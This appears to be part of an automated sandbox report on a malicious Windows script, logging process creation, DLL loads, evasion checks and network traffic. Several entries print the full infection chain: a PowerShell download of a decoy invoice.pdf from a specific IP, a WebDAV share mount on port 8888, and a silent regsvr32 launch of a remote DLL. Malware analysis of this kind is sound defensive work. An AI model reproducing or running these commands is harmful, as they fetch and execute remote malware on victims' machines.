Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\6243.js.csv");ITextStream.WriteLine(" entry:6968 f:sfvihdyxn");ITextStream.WriteLine(" exec:2 f:sfvihdyxn");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Hooking and other Techniques for Hiding and Protection

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior

Malware Analysis System Evasion

Windows Scripting host checks user region and language preferences

Source: C:\Windows\System32\wscript.exe

COM call: HKEY_CURRENT_USER\Control Panel\International\Locale

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Window found: window name: WSH-Timer

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 4533			Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Window / User API: threadDelayed 5070			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 2656	Thread sleep count: 4533 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 7108	Thread sleep count: 5070 > 30	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4936	Thread sleep time: -10145709240540247s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5040	Thread sleep time: -1844674407370954s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 5524	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe TID: 4508	Thread sleep time: -922337203685477s >= -30000s	Jump to behavior
Source: C:\Windows\System32\net.exe TID: 6716	Thread sleep time: -30000s >= -30000s	Jump to behavior
Source: C:\Windows\System32\svchost.exe TID: 4352	Thread sleep time: -30000s >= -30000s	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File opened: PhysicalDrive0

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Thread delayed: delay time: 922337203685477	Jump to behavior

Source: net.exe, 00000007.00000002.1528066952.000001C0A6986000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.1518981135.000001C0A6986000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2747307883.0000023528E56000.00000004.00000020.00020000.00000000.sdmp, svchost.exe, 00000009.00000002.2746157147.000002352382B000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW
Source: net.exe, 00000007.00000002.1521159807.000001C0A6928000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW@

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Process information queried: ProcessInformation

Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "c:\windows\system32\cmd.exe" /c powershell.exe -command "invoke-webrequest -outfile c:\users\user\appdata\local\temp\invoice.pdf http://193.143.1.205/invoice.php"&&start c:\users\user\appdata\local\temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll			Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Queries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Stealing of Sensitive Information

Gathers information about network shares

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\30594295849541.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
